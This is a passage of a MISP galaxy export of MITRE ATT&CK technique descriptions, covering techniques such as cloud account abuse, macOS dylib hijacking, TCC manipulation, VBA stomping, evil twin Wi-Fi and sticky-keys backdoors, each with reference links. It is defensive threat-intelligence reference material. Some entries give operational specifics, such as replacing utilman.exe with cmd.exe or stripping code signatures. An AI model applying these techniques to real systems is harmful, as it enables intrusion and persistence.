Adversaries may create accounts with cloud providers that can be used during targeting. Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)

Creating [Cloud Accounts](https://attack.mitre.org/techniques/T1585/003) may also require adversaries to establish [Email Accounts](https://attack.mitre.org/techniques/T1585/002) to register with the cloud provider.

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1585.003"*

Table 8789. Table References

Links
https://attack.mitre.org/techniques/T1585/003
https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/

XPC Services - T1559.003

Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service <code>C API</code> or the high level <code>NSXPCConnection API</code> in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)

Adversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).

The tag is: *misp-galaxy:mitre-attack-pattern="XPC Services - T1559.003"*

Table 8790. Table References

Links
https://attack.mitre.org/techniques/T1559/003
https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html#//apple_ref/doc/uid/10000172i-SW6-SW1
https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html
https://wojciechregula.blog/post/learn-xpc-exploitation-part-3-code-injections/
https://www.trendmicro.com/en_us/research/21/f/CVE-2021-30724_CVMServer_Vulnerability_in_macOS_and_iOS.html

Wordlist Scanning - T1595.003

Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to [Brute Force](https://attack.mitre.org/techniques/T1110), its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591), or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).

For example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website's pages and directories.(Citation:

ClearSky Lebanese Cedar Jan 2021) This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [Brute Force](https://attack.mitre.org/techniques/T1110)).

As cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure.(Citation: S3Recon GitHub)(Citation: GCPBucketBrute) Once storage objects are discovered, adversaries may leverage [Data from Cloud Storage](https://attack.mitre.org/techniques/T1530) to access valuable information that can be exfiltrated or used to escalate privileges and move laterally.

The tag is: *misp-galaxy:mitre-attack-pattern="Wordlist Scanning - T1595.003"*

Table 8791. Table References

Links
https://attack.mitre.org/techniques/T1595/003
https://github.com/clarketm/s3recon
https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/
https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf

Cloud Accounts - T1586.003

Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Additionally, cloud-based messaging services such as Twilio, SendGrid, AWS End User Messaging, AWS SNS (Simple Notification Service), or AWS SES (Simple Email Service) may be leveraged for spam or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)(Citation: Netcraft SendGrid 2024) Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)

A variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: MSTIC Nobelium Oct 2021) Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021)

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1586.003"*

Table 8792. Table References

Links
https://attack.mitre.org/techniques/T1586/003
https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/
https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/
https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/
https://www.netcraft.com/blog/popular-email-platform-used-to-impersonate-itself/

DNS Calculation - T1568.003

Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)

One implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)

The tag is: *misp-galaxy:mitre-attack-pattern="DNS Calculation - T1568.003"*

Table 8793. Table References

Links
http://www.crowdstrike.com/blog/whois-numbered-panda/
https://attack.mitre.org/techniques/T1568/003
https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html

Web Services - T1583.006

Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566). Using common services, such as those offered by Google, GitHub, or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: FireEye APT29)(Citation: Hacker News GitHub Abuse 2024) By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.

The tag is: *misp-galaxy:mitre-attack-pattern="Web Services - T1583.006"*

Table 8794. Table References

Links
https://attack.mitre.org/techniques/T1583/006
https://services.google.com/fh/files/misc/rpt-apt29-hammertoss-stealthy-tactics-define-en.pdf
https://thehackernews.com/expert-insights/2024/05/github-abuse-flaw-shows-why-we-cant.html
https://threatconnect.com/blog/infrastructure-research-hunting/

Digital Certificates - T1596.003

Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.

Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

The tag is: *misp-galaxy:mitre-attack-pattern="Digital Certificates - T1596.003"*

Table 8795. Table References

Links
https://attack.mitre.org/techniques/T1596/003
https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2
https://www.sslshopper.com/ssl-checker.html

Digital Certificates - T1587.003

Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner’s identity, and the digital signature of an entity that has verified the certificate’s contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then

they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).

Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).

After creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.

The tag is: *misp-galaxy:mitre-attack-pattern="Digital Certificates - T1587.003"*

Table 8796. Table References

Links
https://attack.mitre.org/techniques/T1587/003
https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html

Employee Names - T1589.003

Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.

Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

The tag is: *misp-galaxy:mitre-attack-pattern="Employee Names - T1589.003"*

Table 8797. Table References

Links
https://attack.mitre.org/techniques/T1589/003
https://web.archive.org/web/20230602111604/https://www.opm.gov/cybersecurity/cybersecurity-incidents/

Spearphishing Link - T1598.003

Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)

Adversaries may also embed “tracking pixels,” "web bugs," or "web beacons" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug)(Citation: Ryte Wiki) These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server.(Citation: Ryte Wiki)(Citation: IAPP)

Adversaries may also be able to spoof a complete website using what is known as a "browser-in-the-browser" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation: Mr. D0x BitB 2022)

Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)) in addition to their username and password. This may enable the adversary to then bypass MFA via [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Human Factor)

Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page.(Citation: QR-campaign-energy-firm) By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans.(Citation: qr-phish-agriculture) These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., [Phishing](https://attack.mitre.org/techniques/T1660)), which may be less secure in several relevant ways.(Citation: qr-phish-agriculture) For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form

factor.

From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003"*

Table 8798. Table References

Links
https://attack.mitre.org/techniques/T1598/003
https://csrc.nist.gov/glossary/term/web_bug
https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
https://en.ryte.com/wiki/Tracking_Pixel/
https://iapp.org/resources/article/web-beacon/
https://mrd0x.com/browser-in-the-browser-phishing-attack/
https://therecord.media/phishing-campaign-used-qr-codes-to-target-energy-firm
https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse
https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages
https://www.proofpoint.com/sites/default/files/threat-reports/pfpt-us-tr-human-factor-report.pdf
https://www.proofpoint.com/us/blog/email-and-cloud-threats/cybersecurity-stop-month-qr-code-phishing
https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html
https://www.zscaler.com/blogs/security-research/fake-sites-stealing-steam-credentials

Dylib Hijacking - T1574.004

Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.

Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib

Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)

The tag is: *misp-galaxy:mitre-attack-pattern="Dylib Hijacking - T1574.004"*

Table 8799. Table References

Links
https://attack.mitre.org/techniques/T1574/004
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html
https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py
https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py
https://malwareunicorn.org/workshops/macos_dylib_injection.html#5
https://objective-see.com/blog/blog_0x46.html
https://taomm.org/vol1/read.html
https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf

Evil Twin - T1557.004

Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or [Input Capture](https://attack.mitre.org/techniques/T1056).(Citation: Australia 'Evil Twin')

By using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks.(Citation: Kaspersky evil twin)(Citation: medium evil twin) Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks.(Citation: specter ops evil twin) A Wi-Fi Pineapple – a network security auditing and penetration testing tool – may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic.

Similarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point

receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network.(Citation: specter ops evil twin) Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network.

Upon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim's credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points.

The tag is: *misp-galaxy:mitre-attack-pattern="Evil Twin - T1557.004"*

Table 8800. Table References

Links
https://attack.mitre.org/techniques/T1557/004
https://kavigihan.medium.com/wireless-security-evil-twin-attack-d3842f4aef59
https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee
https://usa.kaspersky.com/resource-center/preemptive-safety/evil-twin-attacks
https://www.bleepingcomputer.com/news/security/australian-charged-for-evil-twin-wifi-attack-on-plane/

LC_LOAD_DYLIB Addition - T1546.006

Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.

Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn't checked at load time.(Citation: Malware Persistence on OS X)

The tag is: *misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1546.006"*

Table 8801. Table References

Links
https://attack.mitre.org/techniques/T1546/006
https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf

https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Spearphishing Voice - T1566.004

Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.

All forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Tools](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth)

Adversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing)

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing Voice - T1566.004"*

Table 8802. Table References

Links
https://attack.mitre.org/techniques/T1566/004
https://blog.sygnia.co/luna-moth-false-subscription-scams
https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/
https://www.cisa.gov/uscert/ncas/alerts/aa23-025a
https://www.proofpoint.com/us/threat-reference/vishing

VBA Stomping - T1564.007

Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)

MS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a <code>PerformanceCache</code> that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the <code>_VBA_PROJECT</code> stream (which contains the version-dependent description of

the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)

An adversary may hide malicious VBA code by overwriting the VBA source code location with zero's, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the <code>_VBA_PROJECT</code> stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)

The tag is: *misp-galaxy:mitre-attack-pattern="VBA Stomping - T1564.007"*

Table 8803. Table References

Links
https://attack.mitre.org/techniques/T1564/007
https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239
https://github.com/bontchev/pcodedmp
https://github.com/decalage2/oletools
https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278
https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/
https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html

Accessibility Features - T1546.008

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.

Two common accessibility programs are <code>C:\Windows\System32\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\Windows\System32\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)

Depending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in

<code>%systemdir%\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.

For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\Windows\System32\utilman.exe</code>) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)

- On-Screen Keyboard: <code>C:\Windows\System32\osk.exe</code>
- Magnifier: <code>C:\Windows\System32\Magnify.exe</code>
- Narrator: <code>C:\Windows\System32\Narrator.exe</code>
- Display Switcher: <code>C:\Windows\System32\DisplaySwitch.exe</code>
- App Switcher: <code>C:\Windows\System32\AtBroker.exe</code>

The tag is: *misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008"*

Table 8804. Table References

Links
https://attack.mitre.org/techniques/T1546/008
https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html
https://web.archive.org/web/20190216180458/https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html
https://web.archive.org/web/20200730053039/https://www.crowdstrike.com/blog/registry-analysis-with-crowdresponse/
https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom

TCC Manipulation - T1548.006

Adversaries can manipulate or abuse the Transparency, Consent, & Control (TCC) service or database to grant malicious executables elevated permissions. TCC is a Privacy & Security macOS control mechanism used to determine if the running process has permission to access the data or services protected by TCC, such as screen sharing, camera, microphone, or Full Disk Access (FDA).

When an application requests to access data or a service protected by TCC, the TCC daemon (`tccd`) checks the TCC database, located at `/Library/Application Support/com.apple.TCC/TCC.db` (and `~/` equivalent), and an overwrites file (if connected to an MDM) for existing permissions. If permissions do not exist, then the user is prompted to grant permission. Once permissions are

granted, the database stores the application's permissions and will not prompt the user again unless reset. For example, when a web browser requests permissions to the user's webcam, once granted the web browser may not explicitly prompt the user again.(Citation: welivesecurity TCC)

Adversaries may access restricted data or services protected by TCC through abusing applications previously granted permissions through [Process Injection](https://attack.mitre.org/techniques/T1055) or executing a malicious binary using another application. For example, adversaries can use Finder, a macOS native app with FDA permissions, to execute a malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002). When executing under the Finder App, the malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002) inherits access to all files on the system without requiring a user prompt. When System Integrity Protection (SIP) is disabled, TCC protections are also disabled. For a system without SIP enabled, adversaries can manipulate the TCC database to add permissions to their malicious executable through loading an adversary controlled TCC database using environment variables and [Launchctl](https://attack.mitre.org/techniques/T1569/001).(Citation: TCC macOS bypass)(Citation: TCC Database)

The tag is: *misp-galaxy:mitre-attack-pattern="TCC Manipulation - T1548.006"*

Table 8805. Table References

Links
https://attack.mitre.org/techniques/T1548/006
https://interpressecurity.com/resources/return-of-the-macos-tcc/
https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/
https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/

Web Services - T1584.006

Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.

The tag is: *misp-galaxy:mitre-attack-pattern="Web Services - T1584.006"*

Table 8806. Table References

Links
https://attack.mitre.org/techniques/T1584/006
https://threatconnect.com/blog/infrastructure-research-hunting/
https://www.recordedfuture.com/research/turla-apt-infrastructure

AppCert DLLs - T1546.009

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code> Registry key under <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions <code>CreateProcess</code>, <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>, or <code>WinExec</code>. (Citation: Elastic Process Injection July 2017)

Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity.

The tag is: *misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1546.009"*

Table 8807. Table References

Links
https://attack.mitre.org/techniques/T1546/009
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://web.archive.org/web/20130401232752/https://forum.sysinternals.com/appcertdlls_topic12546.html
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Resource Forking - T1564.009

